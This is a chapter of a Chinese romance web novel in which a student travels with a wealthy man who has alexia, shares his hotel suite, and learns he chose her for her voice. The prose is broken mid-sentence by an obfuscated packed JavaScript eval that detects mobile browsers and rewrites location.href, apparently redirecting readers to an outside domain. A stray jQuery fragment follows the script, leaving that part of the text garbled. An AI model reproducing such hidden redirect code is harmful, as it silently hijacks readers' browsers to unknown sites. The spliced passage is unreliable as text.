7. 第 7 章

作品:《雪夜情话

    这周五没课,但孟言心接了一场婚宴的主持。


    中午婚礼结束后,她才匆匆赶回宿舍换衣服和收拾行李箱。


    紧赶慢赶,孟言心在约定好的时间前赶到指定位置,等着齐彦的车过来接上她一起去机场。


    和自带气场的齐彦一起坐在车子后排,压迫感满满,孟言心只能一直低着头,假装看手机。


    一路上,齐彦都在打电话聊工作,要不就是跟吴俊成说某个项目的事情,孟言心时而能听懂一些,时而又听不懂。


    她愈发觉得自己不应该来出差,也愈发怀疑起齐彦带着她一起出差的目的……她又不懂他的工作,去了能做什么。


    到了机场,办理登机手续和行李托运不需要孟言心操心,她只需要跟在齐彦身后就好。


    轮到孟言心的包放上安检机的传送带时,安检员的眼神突然变得严肃起来。


    “这是您的包吗?”


    孟言心心中一紧,点了点头。


    安检员示意孟言心稍等,随后从安检机中取出了她的包,开始仔细检查。


    “这里面有美工刀和防狼喷雾,按照规定,美工刀可以托运,但防狼喷雾是禁止携带上飞机的,包括托运。”


    安检员一边解释,一边将这两样物品单独拿了出来。


    “不好意思,我这就处理掉。”孟言心见齐彦时都是背这个包,今天也是顺手就拿了,完全忽略了这里面还装的有那两样东西。


    她没打算再去办托运,从安检员手里接过美工刀和防狼喷雾后,就直接丢进了一旁的垃圾桶。


    回身,她见齐彦正在看着她。


    孟言心被他看得有些心虚,她错开齐彦的视线,也没解释。


    目睹了一切的齐彦淡淡说了一句:“安全意识不错。”


    说这句话时,齐彦并没有其他的意思。


    可是,转而想到孟言心包里的那些东西都是用来防他的,齐彦心里突然就有些不痛快了。


    这种不痛快来得莫名其妙,让他有些烦躁。


    -


    傍晚时分,飞机降落在沿海的某个城市。


    到了酒店,吴俊成跟齐彦核对了行程之后就没再跟过来。


    孟言心茫然地跟在齐彦身后。


    看见齐彦神情自若地刷卡进门,孟言心这才忍不住出声喊:“齐先生。”


    “嗯?”


    “我们……是要住一起吗?”


    齐彦回头看了她一眼:“这样更方便。”


    孟言心垂头,推着行李箱走进来,还没看清房间的构造和布局,又听见他慢悠悠地补充:“有好几个房间,你随便挑一个。”


    “好。”


    等齐彦的背影消失,孟言心就近选了个房间,开门进屋。


    她的行李箱里没装多少东西,用不着怎么收拾。


    熟悉了房间的陈设,孟言心找了把椅子坐下,然后从包包里拿出手机,想看看宿舍群和年级群里有没有新消息。


    翻完手机,又不知道该做什么了,她只好坐着发呆,放空自己。


    不知道过了多久,外面有人在喊她的名字:“孟言心。”


    她条件反射地从椅子上站起来,快步走到房间门口:“我在。”


    看着她慌乱的模样,齐彦眸光微动。


    他出声安抚:“不需要这样战战兢兢。”


    “我只是来告诉你一声,我现在要去参加晚宴,你的晚饭自己解决,可以打电话给前台让他们送餐。”


    孟言心:“好。”


    他又紧跟着嘱咐:“别乱跑。”


    孟言心还是那个字:“好。”


    齐彦被她的样子逗笑。


    他扶了扶眼镜:“你只会说这个字吗?”


    “啊?”孟言心还没回答,齐彦就丢下一句话离开了。


    他说——


    “我记得你挺能言善道的。”


    孟言心不否认自己的能言善道,让她觉得奇怪的是,她为什么会给齐彦留下能言善道的印象?


    一见到齐彦,她总是下意识地畏惧。


    大概是畏惧他的钱财和权势,又或是畏惧他沉默时自带的那种压迫感,孟言心自己也弄不明白缘由。


    总之,她应该是没有在齐彦面前展现过能言善道的一面的。


    那……齐彦为什么会这样说呢?


    孟言心想不明白。


    她打电话叫了餐,一个人在房间里饱餐一顿。


    夜里,孟言心失眠了。


    也许是因为突然离开了熟悉的环境,不太适应,她翻来覆去也睡不着。


    孟言心想起了那天晚上无意间听到的话,她爬起来打开手机,搜了“失读症”三个字。


    网页上说,具有阅读理解功能的视觉性语言中枢位于人脑的左半球后部,如果这个中枢受到损伤,人就没有办法理解文字的意思。


    在这之前,她都不知道居然还会有这样奇怪的病症。


    正想着,外面传来一阵东西碎裂的声音。


    孟言心在睡衣外披了一张毯子,走出房间去瞧。


    客厅里,齐彦正一个人坐在沙发上喝酒,他面前的地板上散落着玻璃杯的碎片。


    孟言心没惊动齐彦,刚想悄无声息地回到房间,却被齐彦扫过来的视线撞了个正着。


    她不得不开口说话:“齐先生。”


    齐彦端着斟了红酒的杯子,轻晃着,看向裹紧毛毯的孟言心:“要来一杯吗?”


    摇摇头,她不会喝酒,而且现在显然也不是喝酒的好时机。


    “过来,跟我说说话。”


    孟言心站在原地,没动。


    齐彦没有不耐烦,只是问:“怎么,你很怕我吗?”


    “有一点……”孟言心实话实话。


    齐彦的唇角勾了勾,他放下酒杯,冲孟言心招手:“过来坐,只是说说话而已。”


    孟言心慢吞吞走近,在离齐彦很远


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016447|178466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的沙发角坐下。


    她紧绷着,坐姿端正:“要说什么?”


    他拿起酒杯,轻抿了一口:“随便说点什么,让我听见你的声音就行。”


    “齐先生,为什么是我呢?”


    “如果只是读东西给您听的话,应该还有很多人都能胜任这份工作,为什么偏偏要找我?”


    孟言心从一开始就很好奇齐彦为什么要找上她,现在找不到话说,刚好可以聊一聊这个问题。


    “原因不是很明显吗?”齐彦喝下一口酒,缓缓说道,“你的声音好听。”


    齐彦看着孟言心的眼睛,陷入了回忆。


    他已经记不清那是什么时候了。


    车祸后,他虽没有失去记忆,但再想起从前的事情时,总觉得有几分模糊,仿佛隔了一层白纱,看不清,记不明。


    唯独那个雪夜,每一幕都无比清晰,每一道声音都非常真切。


    那晚很冷,齐彦和几位好友在桐花巷的一家餐馆吃饭。


    他被多劝了几杯酒,一顿饭还没吃完,就披上大衣出去透气。


    齐彦从包厢出来,倚着三楼廊檐下的木栏杆吹风。


    这里的建筑古色古香,楼上有非遗体验馆和各种美食,楼下则是极具烟火气的酒馆和茶舍。


    廊前的红灯笼在夜风中轻摇,晶莹的雪花安静地飘落。


    楼下挂满了星星形状的小灯串,齐彦从楼上往下看,能看见星星点点的光亮笼罩了整个庭院。


    不知道是哪里的人在唱歌,歌声从音响里传出来,飘了很远。


    虽然唱得不错,但齐彦并不感兴趣,所以只会觉得吵闹。


    听了没几分钟,齐彦就准备离开,恰巧这时候朋友的电话也打过来了。


    对方开玩笑问他,是不是酒量不行,所以找借口躲走了。


    齐彦挂断电话,抬脚往里走。


    可还没走几步,脚步却不由自主地折返。


    不为别的,只是因为唱歌的人换了。


    嗓音温柔,音调舒缓,和眼前的雪夜很搭。


    很奇怪的感觉,齐彦忽然很想知道正在唱歌的人是谁。


    透过暖光的星星灯,他找到了声音的来源。


    是楼下临街的一家茶咖店。


    穿着白色羽绒服的女孩坐在店门口的火堆前,她拿着麦克风唱歌,旁边还有人在敲着手鼓伴奏。


    距离有些远,齐彦看不清那个女孩的相貌。


    但可以确定的是,她的声音真的很好听。


    不甜腻,不娇媚。


    齐彦想找一个贴切的词语来形容这个女孩的声音,想了又想,也只想到了“清朗”这个词。


    听着她的声音,一闭上眼,就仿佛看见了澄澈明朗的蓝天,而那天边,则是茫茫的云海和雪山。


    齐彦站在栏杆前听了很久,直到歌曲结束。


    可等他再抬眼去看时,茶咖店外早已寻不到那个白色羽绒服的身影了。